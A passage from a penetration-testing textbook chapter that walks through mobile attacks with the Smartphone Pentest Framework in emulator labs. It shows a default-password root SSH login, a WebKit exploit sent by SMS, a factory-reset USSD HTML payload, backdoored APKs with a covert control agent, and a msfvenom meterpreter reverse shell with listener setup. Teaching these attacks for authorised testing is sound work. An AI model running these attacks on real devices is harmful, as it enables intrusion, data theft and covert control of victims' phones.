5.) Install App via ADB
spf> 5
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached
emulator-5554
device
emulator-5556
device
emulator-5558
device
450 Chapter 20
Choose a device to install on: emulator-5554u
Which App?
1.)Framework Android App with NFC
2.)Framework Android App without NFC
spf> 2v
1463 KB/s (46775 bytes in 0.031s)
pkg: /data/local/tmp/FrameworkAndroidApp.apk
Success
Listing 20-4: Installing the SPF app
From the Choose a type of modem to attach to menu, select option 5
to have ADB search for all attached devices. Next, tell SPF which emulator
or device to install SPF on; in this example I’ve chosen emulator-5554 u, the
Android 4.3 emulator with phone number 1-555-521-5554. Finally, tell SPF
to install the Android app without NFC (option 2) v.
If you’re using emulators on your host system, ADB from Kali will not be
able to attach to them. Instead, to deploy the app, choose option 4.) Attach
Framework to a Mobile Modem from the main menu and then choose option
4.) Copy App to Webserver, as shown in Listing 20-5.
spf> 4
Choose a type of modem to attach to:
1.) Search for attached modem
2.) Attach to a smartphone based app
3.) Generate smartphone based app
4.) Copy App to Webserver
5.) Install App via ADB
spf> 4
Which App?
1.)Framework Android App with NFC
2.)Framework Android App without NFC
spf> 2u
Hosting Path: /bookspf2v
Filename: /app.apkw
Listing 20-5: Copy app to web server
This will allow us to copy the app to Kali’s web server, where we can
download and install it to the emulator. Tell SPF to copy the Framework
Android App without NFC u, and then tell it where to put the app on the
web server v. Finally, tell SPF the filename for the app to be downloaded w.
Download the app from your Android 4.3 emulator by opening the URL
http://192.168.20.9/bookspf2/app.apk in the mobile browser.
Using the Smartphone Pentest Framework
451
Attaching the SPF Server and App
Now we need to attach the SPF server and the SPF app, as shown in
Listing 20-6. (Again, begin with option 4 in the main menu.)
spf> 4
Choose a type of modem to attach to:
1.) Search for attached modem
2.) Attach to a smartphone based app
3.) Generate smartphone based app
4.) Copy App to Webserver
5.) Install App via ADB
spf> 2
Connect to a smartphone management app. You will need to supply the phone
number, the control key, and the URL path.
Phone Number: 15555215554
Control Key: KEYKEY1w
App URL Path: /bookappx
Phone Number: 15555215554
Control Key: KEYKEY1
URL Path: /bookapp
Is this correct?(y/N): y
Listing 20-6: Attaching to SPF app
Choose 2.) Attach to a smartphone
based app u. Next, give SPF the phone
number of the emulator running the SPF
app v, a seven-character key w, and the
URL where the app will check in x. (The
key does not need to be the same one we
used for the agent when building the app.
Also the URL should be different from the
one used for the agent when building the
app.) Once you’ve confirmed that this
information is correct, SPF will appear to
hang. We need to attach the app.
To attach the app, first open it on the
Android emulator. The main screen asks
for the IP address of the SPF server, the
URL to check in, and the seven-character
key. Use the same values as in the previous step (except the IP address should be
the IP address of the SPF server rather
than the phone number), as shown in
Figure 20-1.
452 Chapter 20
Figure 20-1: SPF app
After you’ve filled out the information, click Attach on the app. You
will now be able to control the phone from SPF until you click Detach. Now
return to SPF on Kali. When the app is attached, you are dropped back
to the main SPF menu, which means we’re ready to start running mobile
attacks.
Remote Attacks
In the history of mobile devices, there have been attacks on the mobile
modem and other externally facing interfaces. For example, researchers
found vulnerabilities in the mobile modem drivers for both Android phones
and the iPhone that allowed attackers to crash the phone, take it off the
mobile network, or even gain command execution on it, just by sending an
SMS message. Like traditional computers, as the security position of mobile
devices improves, the number of available remote attacks will decrease.
That said, the more software users install on their phones, the greater the
chance that there’s a potentially vulnerable service listening on a network
port, as you’ll learn in the following sections.
Default iPhone SSH Login
One remote attack was perhaps the cause of the first iPhone botnet. On
jailbroken iPhones, users can install SSH to log in to their iPhone terminals remotely. By default, SSH has the root password alpine on all devices.
Of course, users should change this value, but many who jailbreak their
iPhones do not. Though this issue came to light years ago, as with many
default password issues, it continues to pop up.
To test for this default SSH password on a jailbroken iPhone, we could
choose 5.) Run a Remote Attack, or use our old friend, Metasploit. Much as
SET allowed us to create client-side attacks in Metasploit in Chapter 11, we
can use SPF to interface with Msfcli to automate running mobile modules
from Metasploit.
Unfortunately, as of this writing, not much in Metasploit targets mobile
devices, but one module does test for use of the default iPhone password. As
shown in Listing 20-7, from the main SPF menu choose 8.) Use Metasploit,
and then choose 1.) Run iPhone Metasploit Modules. Next, choose 1.) Cydia
Default SSH Password. SPF will ask you for the IP address of the iPhone in
order to fill in the RHOST option in the module. SPF will then call Msfcli and
run the desired module.
spf> 8
Runs smartphonecentric Metasploit modules for you.
Select An Option from the Menu:
1.) Run iPhone Metasploit Modules
2.) Create Android Meterpreter
3.) Setup Metasploit Listener
spf> 1
Using the Smartphone Pentest Framework
453
Select An Exploit:
1.) Cydia Default SSH Password
2.) Email LibTiff iOS 1
3.) MobileSafari LibTiff iOS 1
spf> 1
Logs in with alpine on a jailbroken iPhone with SSH enabled.
iPhone IP address: 192.168.20.13
[*] Initializing modules...
RHOST => 192.168.20.13
[*] 192.168.20.13:22 - Attempt to login as 'root' with password 'alpine'
[+] 192.168.20.13:22 - Login Successful with 'root:alpine'
[*] Found shell.
[*] Command shell session 1 opened (192.168.20.9:39177 -> 192.168.20.13:22) at
2015-03-21 14:02:44 -0400
ls
Documents
Library
Media
--snip-Listing 20-7: Root SSH default password Metasploit module
If you have a jailbroken iPhone handy, you can test this module. Metasploit
will present you with a root shell if the login succeeds. When you are finished,
type exit to close the shell and return to SPF. Of course, if you have SSH on
your iPhone, be sure to change the password from alpine right away.
Client-Side Attacks
With mobile devices, client-side attacks are more prevalent than remote attacks.
And as with the attacks we studied in Chapter 10, our client-side attacks are
not restricted to the mobile browser. We can attack other default apps on
the device as well as any third-party apps that may have bugs.
Client-Side Shell
Let’s look at an example of attacking the WebKit package in the mobile
browser to gain a shell on an Android device. (This is similar to the browser
attacks discussed in Chapter 10.) We’ll attack a flaw in the mobile browser
after enticing the user into opening a malicious page. The executed shellcode will be for Android, not Windows, but the overall attack dynamics are
the same, as shown in Listing 20-8.
spf> 6
Choose a social engineering or client side attack to launch:
1.) Direct Download Agent
2.) Client Side Shell
3.) USSD Webpage Attack (Safe)
4 ) USSD Webpage Attack (Malicious)
454 Chapter 20
spf> 2u
Select a Client Side Attack to Run
1) CVE=2010-1759 Webkit Vuln Android
spf> 1v
Hosting Path: /spfbook2w
Filename: /book.htmlx
Delivery Method(SMS or NFC): SMSy
Phone Number to Attack: 15555215558
Custom text(y/N)? N
Listing 20-8: Android browser attack
From the main SPF menu choose 6.) Run a social engineering or client
side attack. Now choose 2.) Client Side Shell u then exploit option 1.)
CVE=2010-1759 Webkit Vuln Android v. You will be prompted for the path on
the web server w and asked for a filename x. SPF will then generate a malicious page to attack the CVE-2010-1759 WebKit vulnerability.
You will then be asked how you want to deliver a link to the malicious
page y. You can use either NFC or SMS. Because our emulator does not
support NFC, we choose SMS. When prompted for the number to attack,
send the SMS to your Android 2.1 emulator. Finally, when asked if you want
to use custom text for the SMS (rather than the default “This is a cool page:
<link>”), change the default to something more creative, or not.
We have only one mobile modem attached to SPF, so SPF automatically uses it to send the SMS message. SPF contacts our SPF app on the
Android 4.3 emulator and instructs it to send a text message to the
Android 2.1 emulator. The SMS received by the Android 2.1 emulator
will be from the Android 4.3 emulator. (Some mobile devices, such as
iPhones, have a flaw in how they implement SMS that allows attackers to
spoof the sender number to make it look like this attack came from any
number they’d like.) The message received is shown here.
15555215554: This is a cool page: http://192.168.20.9/spfbook2/book.html
Like the client-side attacks discussed in Chapter 10, this attack relies on
the user opening the link in a vulnerable mobile browser. Our Android 2.1
emulator browser is vulnerable to the attack, and when you click the link
to open the mobile browser, the browser will attempt to open the page for
30 seconds or so as the attack is running, before crashing. At that point,
you should have a shell waiting for you in SPF. SPF automatically runs the
Android equivalent of whoami when the shell opens.
Because we attacked the browser, we’re running as app_2, the mobile
browser on our emulator. As usual, the shell has all the permissions of the
exploited app, meaning that you can run any commands available to the
browser. For example, enter /system/bin/ls, as shown in Listing 20-9, to use
ls to list the contents of the current directory. When you’ve finished, enter
exit to return to SPF.
Using the Smartphone Pentest Framework
455
Connected: Try exit to quit
uid=10002(app_2) gid=10002(app_2) groups=1015(sdcard_rw),3003(inet)
/system/bin/ls
sqlite_stmt_journals
--snip-exit
Listing 20-9: Android shell
Note
Android is a forked Linux kernel, so once we have a shell, we should be ready to
go with Android, right? Unfortunately, many Linux utilities like cp aren’t there.
Additionally, the user structure is a bit different, with each app having its own UID.
A deep dive into Android, however, is beyond the scope of this chapter.
We’ll look at an alternative way to control exploited Android devices,
using backdoored apps to call Android APIs, later in this chapter. But first
let’s look at another client-side attack.
USSD Remote Control
Unstructured Supplementary Service Data (USSD) is a way for mobile devices to
communicate with the mobile network. When you dial specific numbers,
the device will perform certain functions.
In late 2012, it came to light that some Android devices would automatically open a number they discovered on a web page in the dialer application.
When USSD codes are entered in the dialer, the functionality is automatically called. That sounds like a great function for attackers to abuse to control a device remotely.
As it turned out, attackers could put USSD codes in a web page as the
number to dial and end up forcing these vulnerable devices to do all sorts
of interesting things. For example, as shown here, the tel: tag in a malicious web page tells Android this is a phone number. But when the USSD
code 2673855%23 is opened in the dialer, the device performs a factory
restore, deleting all the user’s data.
<html>
<frameset>
<frame src="tel:*2767*3855%23" />
</frameset>
</html>
Note
The vulnerability is not in the USSD code itself, but in certain devices’ implementation of the tel: tag. Various USSD tags offer all sorts of functionality.
Our example will use a more innocuous payload than the one described
previously. We’ll have our device automatically dial a code to present its
unique identifier in a pop-up, as shown in Listing 20-10.
456 Chapter 20
spf> 6
Choose a social engineering or client side attack to launch:
1.) Direct Download Agent
2.) Client Side Shell
3.) USSD Webpage Attack (Safe)
4 ) USSD Webpage Attack (Malicious)
spf> 3u
Hosting Path: /spfbook2
Filename: /book2.html
Phone Number to Attack: 15555215558
Listing 20-10: Android USSD attack
To run the safe USSD example in SPF, choose menu option 6, then
3.) USSD Webpage Attack (Safe) u. You’ll be asked for the location of the web
server, the name of the malicious page, and the phone number to text it to.
Send it to your Android 2.1 emulator.
Now open the page in the SMS you receive on the Android 2.1 emulator. This time, instead of crashing the browser, the dialer app opens, and a
pop-up notification appears, as shown in Figure 20-2.
Figure 20-2: USSD autodial
As it turns out, our emulator has no unique identifier, so the number is
blank. Though this example was not harmful to the device or its data, other
USSD codes can be if they are opened in the dialer.
Using the Smartphone Pentest Framework
457
Note
Of course, this vulnerability, as well as the WebKit issue we exploited in the previous
section, has been patched since its discovery. Android has a complicated relationship
with security updates. The problem is that anyone can make an Android device with
its own implementation of the Android OS. When Google releases a new version
with a set of patches, every original equipment manufacturer (OEM) needs to port
the changes to its version of Android, and the carriers need to push updates to their
devices. However, updates are not delivered consistently, which means that millions
of unpatched devices may be in use, depending on the model and the carrier.
Now let’s turn our attention to a vulnerability that will probably never
be patched: malicious applications.
Malicious Apps
We’ve studied malicious programs intermittently throughout this book. We
created malicious executables with Msfvenom in Chapter 4, uploaded backdoors to vulnerable web servers in Chapter 8, looked at social-engineering
attacks to trick users into downloading and running malicious programs in
Chapter 11, and bypassed antivirus programs in Chapter 12.
While social engineering and users undermining security policies
by running malicious programs will likely be major issues for enterprise
security for years to come, mobile devices make this issue even more complicated. It’s hard to imagine anyone giving you a laptop computer for work
and encouraging you to go out to the Internet and download every potentially interesting, fun, or productivity-increasing program you can find—
but that’s exactly how mobile devices are marketed. (“Buy our device. It has
the best apps.” “Download our apps. They’re the best in productivity/entertainment/security.”) Mobile antivirus applications often require extreme
permissions and even administrative functions on the device in order to
run, and mobile device management solutions typically require installing
even more applications on the device.
Mobile users are inundated with reasons to download apps to their
devices, and mobile malware is on the rise, much of it in the form of malicious applications. If a user can be tricked into installing a malicious app,
the attacker can utilize Android’s APIs to steal data, gain remote control,
and even attack other devices.
In the Android security model, apps must request permissions to use
APIs that could be used maliciously, and users must accept the requested
permissions at installation. Unfortunately, users often grant access to all
sorts of potentially dangerous permissions. We can use Android permissions to control the device without running an additional exploit after the
user installs the malicious app.
458 Chapter 20
Creating Malicious SPF Agents
SPF allows us to create a malicious app with a variety of interesting functionality. Earlier we used the SPF app on our pentester-controlled device to
allow SPF to use the device’s mobile modem and other functionality; our
goal here is to trick users into installing the SPF agent on target devices.
As of this writing, SPF agents can receive commands by checking in to a
web server over HTTP or via hidden SMS messages from an SPF-controlled
mobile modem. Naturally, we’ll be more successful if our agent appears to be
an interesting and/or trustworthy app. We can embed the agent inside any
legitimate app: SPF can take a compiled APK file and backdoor it with the
agent, or if we have the source code of the app, we can backdoor that as well.
Backdooring Source Code
Let’s use backdooring source code for our example. Choose 1.) Attach
Framework to a Deployed Agent/Create Agent at the main SPF menu. SPF
includes a couple of app templates that we can use for our example. You
can also import any app source code into SPF with option 4. If you don’t
have source code for the app you want to impersonate, you can use option 5
to backdoor a compiled APK. You can even use the Android Master Key
vulnerability discovered in 2013 to replace applications already installed
on the device with a backdoored version. For now, let’s just use one of SPF’s
templates, as shown in Listing 20-11.
spf> 1
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent
2.) Generate Agent App
3.) Copy Agent to Web Server
4.) Import an Agent Template
5.) Backdoor Android APK with Agent
6.) Create APK Signing Key
spf> 2u
1.) MapsDemo
2.) BlankFrontEnd
spf> 1v
Phone number of the control modem for the agent: 15555215554w
Control key for the agent: KEYKEY1x
Webserver control path for agent: /androidagent1y
Control Number:15555215554
Control Key:KEYKEY1
ControlPath:/androidagent1
Is this correct?(y/n) y
--snip-BUILD SUCCESSFUL
Listing 20-11: Building the Android agent
Using the Smartphone Pentest Framework
459
Choose 2.) Generate Agent App u. We’ll use the MapsDemo example
template v distributed with Android SDK by Google to demonstrate functionality. When prompted, give the phone number to send SMS commands
to w, the SPF the seven-character key x, and the directory to check in for
HTTP commands y. For the agent key and path, use the same values that
you used when you created the SPF app (“Building the Android App” on
page 449). Use the Android 4.3 emulator (SPF app) phone number as
the control phone number. SPF will build the Android agent in the chosen
template.
Now to entice the user into downloading and installing the agent, a
process similar to our client-side attacks, following the steps in Listing 20-12.
spf> 6
Choose a social engineering or client side attack to launch:
1.) Direct Download Agent
2.) Client Side Shell
3.) USSD Webpage Attack (Safe)
4 ) USSD Webpage Attack (Malicious)
spf> 1u
This module sends an SMS with a link to directly download and install an Agent
Deliver Android Agent or Android Meterpreter (Agent/meterpreter:) Agentv
Hosting Path: /spfbook3w
Filename: /maps.apk
Delivery Method:(SMS or NFC): SMS
Phone Number to Attack: 15555215556
Custom text(y/N)? N
Listing 20-12: Enticing the user into installing the agent
Choose option 6 at the main menu,
and then choose 1.) Direct Download Agent
u. You will be asked if you want to send the
Android agent or Android Meterpreter (a
recent addition to Metasploit). Because we’re
working with the Android agent, choose Agent
v. As usual, you are prompted for the path,
app name on the web server, attack vector,
and the number to attack, beginning at w.
Instruct SPF to send an SMS with default
text to the Android 2.2 emulator.
On the Android 2.2 emulator, click the
link in the SMS when it arrives. The app
should be downloaded. After it downloads,
click Install, accept the permissions, and
open the app. As shown in Figure 20-3, the
agent will look and feel like the original app
template (the Google Maps demo), but it has
some extra functionality in the background.
460 Chapter 20
Figure 20-3: Backdoored app
Now to attach SPF to the deployed agent. If you send an SMS campaign
to lots of numbers, who knows how many users will install the agent or how
quickly, but the agent has check-in functionality (see Listing 20-13) that will
respond to SPF’s query to see if it is deployed.
spf> 1
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent
2.) Generate Agent App
3.) Copy Agent to Web Server
4.) Import an Agent Template
5.) Backdoor Android APK with Agent
6.) Create APK Signing Key
spf> 1u
Attach to a Deployed Agent:
This will set up handlers to control an agent that has already been deployed.
Agent URL Path: /androidagent1v
Agent Control Key: KEYKEY1w
Communication Method(SMS/HTTP): HTTPx
URL Path: /androidagent1
Control Key: KEYKEY1
Communication Method(SMS/HTTP): HTTP
Is this correct?(y/N): y
Listing 20-13: Attaching SPF to the deployed agent
Choose option 1 at the main menu and then choose 1.) Attach Framework
to a Deployed Agent u. You are prompted for the path v, key w, and communication method x. Enter the values you used when creating the agent.
SPF will appear to hang for a minute as it waits for the agent to respond.
After it returns to the menu, you should be connected to the agent. Now
choose 2.) Send Commands to an Agent from the main menu. You will be presented with a list of agents in the database; you should see the agent you just
attached to SPF in the list as shown here.
spf> 2
Available Agents:
15555215556
Backdooring APKs
Before we move on to using our deployed SPF agent, let’s look at another,
perhaps more sophisticated, way of creating an agent. Because you may not
always have the source code of the app you want to backdoor, SPF can work
with the precompiled APK file. Any APK, including those in the Google
Play store, are in scope.
Using the Smartphone Pentest Framework
461
To backdoor an APK with the SPF agent, choose 1 from the main menu,
and then 5.) Backdoor Android APK with Agent, as shown in Listing 20-14.
spf> 1
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent
2.) Generate Agent App
3.) Copy Agent to Web Server
4.) Import an Agent Template
5.) Backdoor Android APK with Agent
6.) Create APK Signing Key
spf> 5
APKTool not found! Is it installed? Check your config file
Install Android APKTool(y/N)?
spf> y
--2015-12-04 12:28:21-- https://android-apktool.googlecode.com/files/apktoolinstall-linux-r05-ibot.tar.bz2
--snip-Puts the Android Agent inside an Android App APK. The application runs
normally with extra functionality
APK to Backdoor: /root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk
I: Baksmaling...
--snip-Listing 20-14: Backdooring an APK
SPF does not install the APKTool program, required to decompile
APKs, by default; it asks if you want to install it. Enter y, and SPF will install
APKTool and continue.
When prompted, tell SPF to backdoor the APK /root/Smartphone-Pentest
-Framework/APKs/MapsDemo.apk (a compiled version of the Google Maps
demo code used previously). SPF will then decompile the APK, combine it
with the SPF agent, and recompile it.
To set up the agent, SPF needs to know the control phone number,
control key, and control path. This is the same information we used when
backdooring source code and is shown in Listing 20-15.
Phone number of the control modem for the agent: 15555215554
Control key for the agent: KEYKEY1
Webserver control path for agent: /androidagent1
Control Number: 15555215554
Control Key:KEYKEY1
ControlPath:/androidagent1
Is this correct?(y/n) y
--snip-Listing 20-15: Setting options
462 Chapter 20
After APKTool recompiles the backdoored APK, we need to sign it. At
installation, the Android device checks the signatures on an APK. If it is not
signed, it will be rejected, even by an emulator. Google Play apps are signed
using a developer key registered with Google Play.
To run apps on emulators and devices that are not restricted to Google
Play apps, we just use a debug key that is not registered with Google, but the
app still must be signed. We were able to skip this step when backdooring
source code because we compiled the code with the Android SDK, which
automatically signed our code with the default Android keystore. Because
we used APKTool here, we need to manually re-create the signature.
You will be asked whether you want to use the Android Master Key
vulnerability, which allows attackers and pentesters to trick the Android
signature-verification process into thinking our app is a legitimate update
to an already installed application. In other words, we will be allowed to
replace legitimate applications with our code, and the Android system will
view them as legitimate updates from the vendor. (This flaw in the verification process was fixed in Android 4.2.) To use the Android Master Key
vulnerability, enter y at the prompt, as shown next.
Note
To leverage this issue, the original application and its signatures are copied into our
backdoored APK. Details about how this triggers the Master Key vulnerability can be
found here: http://www.saurik.com/id/17.
Use Android Master Key Vuln?(y/N): y
Archive: /root/Desktop/abcnews.apk
--snip-Inflating: unzipped/META-INF/CERT.RSA
To see the Android Master Key vulnerability at work, install the legitimate version of MapsDemo.apk from /root/Smartphone-Pentest-Framework/APKs
onto a device running an Android version earlier than 4.2, and then try to
install the backdoored version you just created by delivering it via SMS or
NFC with SPF. You should be prompted to replace MapsDemo.apk, and the
signature verification should succeed, even though we didn’t have access
to the private keys required to build a correct signature for our backdoored
version.
If your target is not vulnerable to Master Key or the app is not already
on the target device, you can just sign the app with your default key for the
Android keystore on Kali. To do this, enter n at the prompt for Use Android
Master Key Vuln, as shown in Listing 20-16.
Use Android Master Key Vuln?(y/N): n
Password for Debug Keystore is android
Enter Passphrase for keystore:
--snip-signing: resources.arsc
Listing 20-16: Signing the APK
Using the Smartphone Pentest Framework
463
You are prompted for the password for the debug keystore. By default,
this action does not sign the APK with a key for publishing it on Google
Play, but it will work for our purposes. The app is now signed with a debug
key and should install on any device that does not restrict apps to official
Play Store apps. Note that there’s nothing stopping a pentester from signing
the app with a legitimate Google Play key they have registered if it’s in the
scope of the pentest to attempt to trick users into downloading malicious
apps from the Google Play store.
Note
The backdoored APK is functionality equivalent to the agent we created in “Backdooring
Source Code” on page 459 and can be deployed the same way. Of course, we already
have a deployed agent to work with as we look at what we can do to a device and its
local network after an agent is deployed.
Mobile Post Exploitation
Now that we’re on the device, we have a few options open to us. We can
gather local information from the device such as contacts or received SMS
messages, and we can remotely control the device to have it do things like
take a picture. If we’re unsatisfied with our permissions, we can attempt
to perform privilege escalation on the device and get root privileges. We
can even use the exploited mobile device to attack other devices on the
network. (This attack can be particularly interesting if the device connects
directly to a corporate network or uses a VPN to access one.)
Information Gathering
We will run an example of information gathering by getting a list of
installed applications on the infected device as shown in Listing 20-17.
spf> 2
View Data Gathered from a Deployed Agent:
Available Agents:
1.) 15555215556
Select an agent to interact with or 0 to return to the previous menu.
spf> 1u
Commands:v
1.) Send SMS
2.) Take Picture
3.) Get Contacts
4.) Get SMS Database
5.) Privilege Escalation
6.) Download File
7.) Execute Command
8.) Upload File
9.) Ping Sweep
10.) TCP Listener
11.) Connect to Listener
12.) Run Nmap
464 Chapter 20
13.) Execute Command and Upload Results
14.) Get Installed Apps List
15.) Remove Locks (Android < 4.4)
16.) Upload APK
17.) Get Wifi IP Address
Select a command to perform or 0 to return to the previous menu
spf> 14w
Gets a list of installed packages(apps) and uploads to a file.
Delivery Method(SMS or HTTP): HTTPx
Listing 20-17: Running a command on an agent
Choose option 2 from the main menu, then select the agent from the
list u. When presented with a list of available agent functionality v, choose
14.) Get Installed Apps List w. SPF asks how you would like to deliver the
command; we’ll use HTTP x. (Recall that agents can communicate and
receive commands via HTTP and SMS.)
Enter 0 to return to the previous menu until you reach the main menu.
Wait a minute, and then choose 3.) View Information Gathered, as shown in
Listing 20-18.
spf> 3
View Data Gathered from a Deployed Agent:
Agents or Attacks? Agentsu
Available Agents:
1.) 15555215556
Select an agent to interact with or 0 to return to the previous menu.
spf> 1v
Data:
SMS Database:
Contacts:
Picture Location:
Rooted:
Ping Sweep:
File:
Packages: package:com.google.android.locationw
--snip-package:com.android.providers.downloads
package:com.android.server.vpn
Listing 20-18: Viewing gathered data
You are asked if you want to see the results of Attacks or Agents; type
Agents u. Choose our agent v. Information about the device is pulled from
the database, though currently all we have is a list of installed apps, gathered
by the previous command w. (You can run additional information-gathering commands to fill in more entries.)
Remote Control
Now let’s see how to use the agent to remotely control the device. We can tell
the device to send a text message that will not show up in the sent messages
of the SMS app. In fact, the user will have no indication that a message
Using the Smartphone Pentest Framework
465
was sent at all—what better way to exploit the circle of trust? Perhaps we
can grab all the user’s contacts and send them messages telling them they
should install our cool app, which just so happens to point to the SPF agent.
Because the message comes from someone they know, the users will be more
likely to install the agent.
Let’s just send an example message for now, as shown in Listing 20-19.
Commands:
--snip-Select a command to perform or 0 to return to the previous menu
spf> 1u
Send an SMS message to another phone. Fill in the number, the message to send,
and the delivery method(SMS or HTTP).
Number: 15555215558
Message: hiya Georgia
Delivery Method(SMS or HTTP) SMS
Listing 20-19: Remotely controlling an agent
From the agent commands menu, select option 1.) Send SMS u. When
prompted for a phone number, message contents, and how you want to
deliver the command, tell your agent to send the message to the Android 2.1
emulator.
Your Android 2.1 emulator will receive an SMS with the text you entered
from the Android 2.2 emulator, with no indication on either emulator that
this is not a normal message.
Pivoting Through Mobile Devices
Mobile Device Management (MDM) and mobile antivirus applications have
a long way to go. The number of companies that mandate these solutions
for their employees is still small when compared with many other security
controls, and some companies choose not to allow mobile devices at all.
But let’s face it: Employees probably know the company’s wireless password. Connect your mobile device, and magically it’s a member of the same
network as your workstation and other devices that might contain sensitive
information.
Naturally, companies are much better at hardening their externally
facing assets. After all, these devices are open to attack from anyone on
the Internet, and they get the lion’s share of the attention. But internally,
things start to break down. Weak passwords, missing patches, and out-of-date
client-side software are all issues we’ve examined in this book that could be
lurking in the internal network. If an exploited mobile device has direct
network access to these vulnerable systems, we may be able to use it as a
pivot to launch additional attacks, completely bypassing the perimeter.
We studied pivoting in Chapter 13, when we used an exploited machine
to move from one network to another. We can do the same thing here
using the SPF agent, effectively running a pentest on the mobile network
through the exploited mobile device, as illustrated in Figure 20-4.
466 Chapter 20
attacker
Internet
local router
local infected
phone
local PC
Figure 20-4: Pivoting through an infected
mobile device to attack internal devices
Portscanning with Nmap
We start by seeing what devices are out there using an agent command option
to ping sweep the local network. Next, we’ll do some port scanning, as discussed in Chapter 5. As it turns out you can install Nmap Android binaries
on the exploited device. SPF has install scripts for this and other supporting
tools. Choose option 10.) Install Stuff from the main menu, and tell SPF to
install Nmap for Android, as shown in Listing 20-20.
spf> 10
What would you like to Install?
1.) Android SDKS
2.) Android APKTool
3.) Download Android Nmap
spf> 3
Download Nmap for Android(y/N)?
spf> y
Listing 20-20: Installing Nmap for Android
Now to run Nmap from our Android agent using option 12.) Run Nmap.
Let’s run Nmap against our Windows XP target u, as shown in Listing 20-21.
Make sure that the War-FTP program we exploited in Chapters 17 and 18
is still running. (We’ll exploit it through the pivot in the next section.)
Using the Smartphone Pentest Framework
467
Select a command to perform or 0 to return to the previous menu
spf> 12
Download Nmap and port scan a host of range. Use any accepted format for
target specification in Nmap
Nmap Target: 192.168.20.10u
Delivery Method(SMS or HTTP) HTTP
Listing 20-21: Running Nmap from Android
Let Nmap run for a couple of minutes, and then check your agent’s
gathered information. You should notice that the File field links to /root/
Smartphone-Pentest-Framework/frameworkconsole/text.txt. View the contents of
this file—you should see something similar to Listing 20-22.
# Nmap 5.61TEST4 scan initiated Sun Sep 6 23:41:30 2015 as: /data/data/com.example.android.google
.apis/files/nmap -oA /data/data/com.example.android.google.apis/files/nmapoutput 192.168.20.10
Nmap scan report for 192.168.20.10
Host is up (0.0068s latency).
Not shown: 992 closed ports
PORT
STATE SERVICE
21/tcp open ftp
--snip-# Nmap done at Sun Sep 6 23:41:33 2015 -- 1 IP address (1 host up) scanned in 3.43 seconds
Listing 20-22: Nmap results
Rather than run an entire pentest using the exploited mobile device as
a pivot, let’s finish by running an exploit through the SPF agent.
Exploiting a System on the Local Network
Unfortunately, Android devices don’t know scripting languages such
as Python and Perl by default; to run an exploit, we need some C code.
A simple C version of the exploit we wrote for War-FTP 1.65 in Chapter 17
is in /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter.c.
The included shellcode runs a windows/meterpreter/reverse_tcp payload and
sends it back to 192.168.20.9 on port 4444. If your Kali system is at another
IP address, regenerate the shellcode with Msfvenom, as shown here. (Don’t
forget the bad characters for War-FTP from Chapter 17. We can avoid them
with Msfvenom using the -b flag.)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 -f c -b '\x00\x0a\x0d\x40'
Once you’ve replaced the shellcode in the exploit, if necessary, we need
to compile the C code to run on an Android device. If we use GCC, as in
Chapter 3, the exploit will run fine from our Kali box, but the ARM processor on our Android phones won’t know what to make of it.
We briefly ran into cross compilers for Windows in Chapter 12 that
allowed us to compile C code on Kali to run on Windows. We can do the
468 Chapter 20
same thing for Android as long as we have an ARM cross compiler. Luckily,
SPF has one. As shown in Listing 20-23, choose option 9.) Compile code to
run on mobile devices from the main menu.
spf> 9
Compile code to run on mobile devices
1.) Compile C code for ARM Android
spf> 1u
Compiles C code to run on ARM based Android devices. Supply the C code file and the output
filename
File to Compile: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter.cv
Output File: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter
Listing 20-23: Compiling C code to run on Android
Select 1.) Compile C code for ARM Android u. You will be prompted for the
C file to compile as well as where you want to put the compiled binary v.
Now we need to download the War-FTP exploit to our infected Android
device. From the agent commands menu, choose option 6 to download a
file. You will be asked for the file to download and the delivery method, as
shown in Listing 20-24.
Select a command to perform or 0 to return to the previous menu
spf> 6
Downloads a file to the phone. Fill in the file and the delivery method(SMS or HTTP).
File to download: /root/Smartphone-Pentest-Framework/exploits/Windows/warftpmeterpreter
Delivery Method(SMS or HTTP): HTTP
Listing 20-24: Downloading the exploit
Before we run the exploit, we need to set up a handler in Msfconsole,
as shown in Listing 20-25. Open Msfconsole on Kali, and use the multi/
handler module, setting the options to match the payload in the War-FTP
exploit.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Starting the payload handler...
Listing 20-25: Setting up multi/handler
Finally, it’s time to run the exploit. As shown in Listing 20-26, choose
option 7.) Execute Command from the agent commands menu; you will be
prompted for the command to run.
Using the Smartphone Pentest Framework
469
Select a command to perform or 0 to return to the previous menu
spf> 7
Run a command in the terminal. Fill in the command and the delivery
method(SMS or HTTP).
Command: warftpmeterpreter 192.168.20.10 21u
Downloaded?: yesv
Delivery Method(SMS or HTTP): HTTP
Listing 20-26: Running the exploit
Tell SPF the full command, including arguments u. In this case, we
need to tell the exploit the IP address and port to attack. SPF asks if the
binary was downloaded. If it was downloaded through SPF, it will be in the
agent’s files directory, and SPF will need to know to run it from there. In
our case, we answer yes v, then enter the delivery method as usual.
Watch your Metasploit listener. In about a minute you should receive a
Meterpreter prompt like the one shown next.
meterpreter >
We’ve successfully used SPF as a pivot to run an attack. This may not
seem very exciting because the emulator, Kali, and the Windows XP target
are all on the same network, but if Kali is in the cloud and the Windows XP
target and an infected Android device are on the corporate network, this
process would be more useful. We can make it more interesting by using
command option 10.) TCP Listener to set up a listener to catch our shell on
the infected mobile device. Rather than calling back out to a listener on our
Kali machine, we can instead send our shell back to SPF directly using either
HTTP or SMS. Using SMS will, of course, allow us to completely bypass any
perimeter filtering such as firewalls and proxies that may inhibit getting
shells out of the network from your attacks. This is illustrated in Figure 20-5.
attacker-controlled
phone
attacker
computer
Internet
cell
tower(s)
local router
(bypassed)
local
exploited PC
local infected
phone
Figure 20-5: Bypassing perimeter controls with an SMS-based shell.
470 Chapter 20
Note
Aside from the privilege escalation example discussed next, there is no reason we
